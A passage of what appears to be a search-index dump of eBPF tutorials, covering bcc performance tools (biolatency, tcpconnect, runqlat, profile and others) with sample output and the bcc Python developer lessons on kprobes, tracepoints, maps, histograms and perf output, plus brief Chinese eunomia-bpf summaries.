that exceed a threshold. This is great for identifying or exonerating one type of performance issue: show individually slow disk i/O via the file system. Disks process I/O asynchronously, and it can be difficult to associate latency at that layer with the latency applications experience. Tracing higher up in the kernel stack, at the VFS -> file system interface, will more closely match what an application suffers. Use this tool to identify if file system latency exceeds a given threshold. Similar tools exist in bcc for other file systems: btrfsslower, xfsslower, and zfsslower. There is also fileslower, which works at the VFS layer and traces everything (although at some higher overhead). More examples . 1.4. biolatency # ./biolatency\nTracing block device I/O... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** | 32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency traces disk I/O latency (time from device issue to completion), and when the tool ends (Ctrl-C, or a given interval), it prints a histogram summary of the latency. This is great for understanding disk I/O latency beyond the average times given by tools like iostat. I/O latency outliers will be visible at the end of the distribution, as well as multi-mode distributions. More examples . 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop prints a line of output for each disk I/O, with details including latency (time from device issue to completion). This allows you to examine disk I/O in more detail, and look for time-ordered patterns (eg, reads queueing behind writes). Note that the output will be verbose if your system performs disk I/O at a high rate. More examples . 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223 7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat prints a one line summary every second (or every custom interval) showing statistics from the file system cache. Use this to identify a low cache hit ratio, and a high rate of misses: which gives one lead for performance tuning. More examples . 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect prints one line of output for every active TCP connection (eg, via connect()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept prints one line of output for every passive TCP connection (eg, via accept()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.9. tcpretrans # ./tcpretrans\nTIME PID IP LADDR:LPORT T> RADDR:RPORT STATE\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 ESTABLISHED\n[...] tcprerans prints one line of output for every TCP retransmit packet, with details including source and destination addresses, and kernel state of the TCP connection. TCP retransmissions cause latency and throughput issues. For ESTABLISHED retransmits, look for patterns with networks. For SYN_SENT, this may point to target kernel CPU saturation and kernel packet drops. More examples . 1.10. runqlat # ./runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | runqlat times how long threads were waiting on the CPU run queues, and prints this as a histogram. This can help quantify time lost waiting for a turn on CPU, during periods of CPU saturation. More examples . 1.11. profile # ./profile\nSampling at 49 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end.\n^C 00007f31d76c3251 [unknown] 47a2c1e752bf47f7 [unknown] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [unknown] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile is a CPU profiler, which takes samples of stack traces at timed intervals, and prints a summary of unique stack traces and a count of their occurrence. Use this tool to understand the code paths that are consuming CPU resources. More examples .","breadcrumbs":"bcc Tutorial » 1. General Performance","id":"319","title":"1. General Performance"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"In addition to the above tools for performance tuning, below is a checklist for bcc generic tools, first as a list, and in detail: trace argdist funccount These generic tools may be useful to provide visibility to solve your specific problems. 2.1. trace Example 1 Suppose you want to track file ownership change. There are three syscalls, chown, fchown and lchown which users can use to change file ownership. The corresponding syscall entry is SyS_[f|l]chown. The following command can be used to print out syscall parameters and the calling process user id. You can use id command to find the uid of a particular user. $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 Example 2 Suppose you want to count nonvoluntary context switches (nvcsw) in your bpf based performance monitoring tools and you do not know what is the proper method. /proc/<pid>/status already tells you the number (nonvoluntary_ctxt_switches) for a pid and you can use trace.py to do a quick experiment to verify your method. With kernel source code, the nvcsw is counted at file linux/kernel/sched/core.c function __schedule and under condition !(!preempt && prev->state) // i.e., preempt || !prev->state The __schedule function is marked as notrace, and the best place to evaluate the above condition seems in sched/sched_switch tracepoint called inside function __schedule and defined in linux/include/trace/events/sched.h. trace.py already has args being the pointer to the tracepoint TP_STRUCT__entry. The above condition in function __schedule can be represented as args->prev_state == TASK_STATE_MAX || args->prev_state == 0 The below command can be used to count the involuntary context switches (per process or per pid) and compare to /proc/<pid>/status or /proc/<pid>/task/<task_id>/status for correctness, as in typical cases, involuntary context switches are not very common. $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... Example 3 This example is related to issue 1231 and 1516 where uprobe does not work at all in certain cases. First, you can do a strace as below $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... The perf_event_open syscall returns -EIO. Digging into kernel uprobe related codes in /kernel/trace and /kernel/events directories to search EIO, the function uprobe_register is the most suspicious. Let us find whether this function is called or not and what is the return value if it is called. In one terminal using the following command to print out the return value of uprobe_register, $ trace.py 'r::uprobe_register \"ret = %d\", retval' In another terminal run the same bash uretprobe tracing example, and you should get $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 The -5 error code is EIO. This confirms that the following code in function uprobe_register is the most suspicious culprit. if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; The shmem_mapping function is defined as bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} To confirm the theory, find what is inode->i_mapping->a_ops with the following command $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops The kernel symbol empty_aops does not have readpage defined and hence the above suspicious condition is true. Further examining the kernel source code shows that overlayfs does not provide its own a_ops while some other file systems (e.g., ext4) define their own a_ops (e.g., ext4_da_aops), and ext4_da_aops defines readpage. Hence, uprobe works fine on ext4 while not on overlayfs. More examples . 2.2. argdist More examples . 2.3. funccount More examples .","breadcrumbs":"bcc Tutorial » 2. Observability with Generic Tools","id":"320","title":"2. Observability with Generic Tools"},"321":{"body":"To do.","breadcrumbs":"bcc Tutorial » Networking","id":"321","title":"Networking"},"322":{"body":"This tutorial is about developing bcc tools and programs using the Python interface. There are two parts: observability then networking. Snippets are taken from various programs in bcc: see their files for licences. Also see the bcc developer's reference_guide.md , and a tutorial for end-users of tools: tutorial.md . There is also a lua interface for bcc.","breadcrumbs":"bcc Python Developer Tutorial » bcc Python Developer Tutorial","id":"322","title":"bcc Python Developer Tutorial"},"323":{"body":"This observability tutorial contains 17 lessons, and 46 enumerated things to learn.","breadcrumbs":"bcc Python Developer Tutorial » Observability","id":"323","title":"Observability"},"324":{"body":"Start by running examples/hello_world.py , while running some commands (eg, \"ls\") in another session. It should print \"Hello, World!\" for new processes. If not, start by fixing bcc: see INSTALL.md . # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] Here's the code for hello_world.py: from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() There are six things to learn from this: text='...': This defines a BPF program inline. The program is written in C. kprobe__sys_clone(): This is a short-cut for kernel dynamic tracing via kprobes. If the C function begins with kprobe__, the rest is treated as a kernel function name to instrument, in this case, sys_clone(). void *ctx: ctx has arguments, but since we aren't using them here, we'll just cast it to void *. bpf_trace_printk(): A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(), covered later. return 0;: Necessary formality (if you want to know why, see #139 ). .trace_print(): A bcc routine that reads trace_pipe and prints the output.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 1. Hello World","id":"324","title":"Lesson 1. Hello World"},"325":{"body":"Write a program that traces the sys_sync() kernel function. Print \"sys_sync() called\" when it runs. Test by running sync in another session while tracing. The hello_world.py program has everything you need for this. Improve it by printing \"Tracing sys_sync()... Ctrl-C to end.\" when the program first starts. Hint: it's just Python.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 2. sys_sync()","id":"325","title":"Lesson 2. sys_sync()"},"326":{"body":"This program is in examples/tracing/hello_fields.py . Sample output (run commands in another session): # examples/tracing/hello_fields.py\nTIME(s) COMM PID MESSAGE\n24585001.174885999 sshd 1432 Hello, World!\n24585001.195710000 sshd 15780 Hello, World!\n24585001.991976000 systemd-udevd 484 Hello, World!\n24585002.276147000 bash 15787 Hello, World! Code: from bcc import BPF # define BPF program\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) This is similar to hello_world.py, and traces new processes via sys_clone() again, but has a few more things to learn: prog =: This time we declare the C program as a variable, and later refer to it. This is useful if you want to add some string substitutions based on command line arguments. hello(): Now we're just declaring a C function, instead of the kprobe__ shortcut. We'll refer to this later. All C functions declared in the BPF program are expected to be executed on a probe, hence they all need to take a pt_reg* ctx as first argument. If you need to define some helper function that will not be executed on a probe, they need to be defined as static inline in order to be inlined by the compiler. Sometimes you would also need to add _always_inline function attribute to it. b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\"): Creates a kprobe for the kernel clone system call function, which will execute our defined hello() function. You can call attach_kprobe() more than once, and attach your C function to multiple kernel functions. b.trace_fields(): Returns a fixed set of fields from trace_pipe. Similar to trace_print(), this is handy for hacking, but for real tooling we should switch to BPF_PERF_OUTPUT().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 3. hello_fields.py","id":"326","title":"Lesson 3. hello_fields.py"},"327":{"body":"Remember the days of sysadmins typing sync three times on a slow console before reboot, to give the first asynchronous sync time to complete? Then someone thought sync;sync;sync was clever, to run them all on one line, which became industry practice despite defeating the original purpose! And then sync became synchronous, so more reasons it was silly. Anyway. The following example times how quickly the do_sync function is called, and prints output if it has been called more recently than one second ago. A sync;sync;sync will print output for the 2nd and 3rd sync's: # examples/tracing/sync_timing.py\nTracing for quick sync's... Ctrl-C to end\nAt time 0.00 s: multiple syncs detected, last 95 ms ago\nAt time 0.10 s: multiple syncs detected, last 96 ms ago This program is examples/tracing/sync_timing.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // attempt to read stored timestamp tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // output if time is less than 1 second bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // update stored timestamp ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"Tracing for quick sync's... Ctrl-C to end\") # format output\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"At time %.2f s: multiple syncs detected, last %s ms ago\" % (ts, ms)) Things to learn: bpf_ktime_get_ns(): Returns the time as nanoseconds. BPF_HASH(last): Creates a BPF map object that is a hash (associative array), called \"last\". We didn't specify any further arguments, so it defaults to key and value types of u64. key = 0: We'll only store one key/value pair in this hash, where the key is hardwired to zero. last.lookup(&key): Lookup the key in the hash, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. if (tsp != NULL) {: The verifier requires that pointer values derived from a map lookup must be checked for a null value before they can be dereferenced and used. last.delete(&key): Delete the key from the hash. This is currently required because of a kernel bug in .update() (fixed in 4.8.10). last.update(&key, &ts): Associate the value in the 2nd argument to the key, overwriting any previous value. This records the timestamp.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"327","title":"Lesson 4. sync_timing.py"},"328":{"body":"Modify the sync_timing.py program (prior lesson) to store the count of all kernel sync system calls (both fast and slow), and print it with the output. This count can be recorded in the BPF program by adding a new key index to the existing hash.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 5. sync_count.py","id":"328","title":"Lesson 5. sync_count.py"},"329":{"body":"Browse the examples/tracing/disksnoop.py program to see what is new. Here is some sample output: # disksnoop.py\nTIME(s) T BYTES LAT(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] And a code snippet: [...]\nREQ_WRITE = 1 # from include/linux/blk_types.h # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blk-mq.h> BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // stash start timestamp by request ptr u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\")\nelse: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\")\n[...] Things to learn: REQ_WRITE: We're defining a kernel constant in the Python program because we'll use it there later. If we were using REQ_WRITE in the BPF program, it should just work (without needing to be defined) with the appropriate #includes. trace_start(struct pt_regs *ctx, struct request *req): This function will later be attached to kprobes. The arguments to kprobe functions are struct pt_regs *ctx, for registers and BPF context, and then the actual arguments to the function. We'll attach this to blk_start_request(), where the first argument is struct request *. start.update(&req, &ts): We're using the pointer to the request struct as a key in our hash. What? This is commonplace in tracing. Pointers to structs turn out to be great keys, as they are unique: two structs can't have the same pointer address. (Just be careful about when it gets free'd and reused.) So what we're really doing is tagging the request struct, which describes the disk I/O, with our own timestamp, so that we can time it. There's two common keys used for storing timestamps: pointers to structs, and, thread IDs (for timing function entry to return). req->__data_len: We're dereferencing members of struct request. See its definition in the kernel source for what members are there. bcc actually rewrites these expressions to be a series of bpf_probe_read_kernel() calls. Sometimes bcc can't handle a complex dereference, and you need to call bpf_probe_read_kernel() directly. This is a pretty interesting program, and if you can understand all the code, you'll understand many important basics. We're still using the bpf_trace_printk() hack, so let's fix that next.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 6. disksnoop.py","id":"329","title":"Lesson 6. disksnoop.py"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"Let's finally stop using bpf_trace_printk() and use the proper BPF_PERF_OUTPUT() interface. This will also mean we stop getting the free trace_field() members like PID and timestamp, and will need to fetch them directly. Sample output while commands are run in another session: # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 Hello, perf_output!\n0.021080275 systemd-udevd 484 Hello, perf_output!\n0.021359520 systemd-udevd 484 Hello, perf_output!\n0.021590610 systemd-udevd 484 Hello, perf_output!\n[...] Code is examples/tracing/hello_perf_output.py : from bcc import BPF # define BPF program\nprog = \"\"\"\n#include <linux/sched.h> // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # process event\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"Hello, perf_output!\")) # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() Things to learn: struct data_t: This defines the C struct we'll use to pass data from kernel to user space. BPF_PERF_OUTPUT(events): This names our output channel \"events\". struct data_t data = {};: Create an empty data_t struct that we'll then populate. bpf_get_current_pid_tgid(): Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Should you be presenting the PID or the TGID? For a multi-threaded app, the TGID will be the same, so you need the PID to differentiate them, if that's what you want. It's also a question of expectations for the end user. bpf_get_current_comm(): Populates the first argument address with the current process name. events.perf_submit(): Submit the event for user space to read via a perf ring buffer. def print_event(): Define a Python function that will handle reading events from the events stream. b[\"events\"].event(data): Now get the event as a Python object, auto-generated from the C declaration. b[\"events\"].open_perf_buffer(print_event): Associate the Python print_event function with the events stream. while 1: b.perf_buffer_poll(): Block waiting for events.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"330","title":"Lesson 7. hello_perf_output.py"},"331":{"body":"Rewrite sync_timing.py, from a prior lesson, to use BPF_PERF_OUTPUT.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 8. sync_perf_output.py","id":"331","title":"Lesson 8. sync_perf_output.py"},"332":{"body":"The following tool records a histogram of disk I/O sizes. Sample output: # bitehist.py\nTracing... Hit Ctrl-C to end.\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| Code is examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blkdev.h> BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # header\nprint(\"Tracing... Hit Ctrl-C to end.\") # trace until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # output\nb[\"dist\"].print_log2_hist(\"kbytes\") A recap from earlier lessons: kprobe__: This prefix means the rest will be treated as a kernel function name that will be instrumented using kprobe. struct pt_regs *ctx, struct request *req: Arguments to kprobe. The ctx is registers and BPF context, the req is the first argument to the instrumented function: blk_account_io_done(). req->__data_len: Dereferencing that member. New things to learn: BPF_HISTOGRAM(dist): Defines a BPF map object that is a histogram, and names it \"dist\". dist.increment(): Increments the histogram bucket index provided as first argument by one by default. Optionally, custom increments can be passed as the second argument. bpf_log2l(): Returns the log-2 of the provided value. This becomes the index of our histogram, so that we're constructing a power-of-2 histogram. b[\"dist\"].print_log2_hist(\"kbytes\"): Prints the \"dist\" histogram as power-of-2, with a column header of \"kbytes\". The only data transferred from kernel to user space is the bucket counts, making this efficient.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 9. bitehist.py","id":"332","title":"Lesson 9. bitehist.py"},"333":{"body":"Write a program that times disk I/O, and prints a histogram of their latency. Disk I/O instrumentation and timing can be found in the disksnoop.py program from a prior lesson, and histogram code can be found in bitehist.py from a prior lesson.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py","id":"333","title":"Lesson 10. disklatency.py"},"334":{"body":"This example is split into separate Python and C files. Example output: # vfsreadlat.py 1\nTracing... Hit Ctrl-C to end. usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | usecs : count distribution 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ | 32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] Browse the code in examples/tracing/vfsreadlat.py and examples/tracing/vfsreadlat.c . Things to learn: b = BPF(src_file = \"vfsreadlat.c\"): Read the BPF C program from a separate source file. b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): Attaches the BPF C function do_return() to the return of the kernel function vfs_read(). This is a kretprobe: instrumenting the return from a function, rather than its entry. b[\"dist\"].clear(): Clears the histogram.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 11. vfsreadlat.py","id":"334","title":"Lesson 11. vfsreadlat.py"},"335":{"body":"Tracing while a dd if=/dev/urandom of=/dev/null bs=8k count=5 is run: # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 Hah! I caught smtp by accident. Code is examples/tracing/urandomread.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) Things to learn: TRACEPOINT_PROBE(random, urandom_read): Instrument the kernel tracepoint random:urandom_read. These have a stable API, and thus are recommend to use instead of kprobes, wherever possible. You can run perf list for a list of tracepoints. Linux >= 4.7 is required to attach BPF programs to tracepoints. args->got_bits: args is auto-populated to be a structure of the tracepoint arguments. The comment above says where you can see that structure. Eg: # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type;\toffset:0;\tsize:2;\tsigned:0; field:unsigned char common_flags;\toffset:2;\tsize:1;\tsigned:0; field:unsigned char common_preempt_count;\toffset:3;\tsize:1;\tsigned:0; field:int common_pid;\toffset:4;\tsize:4;\tsigned:1; field:int 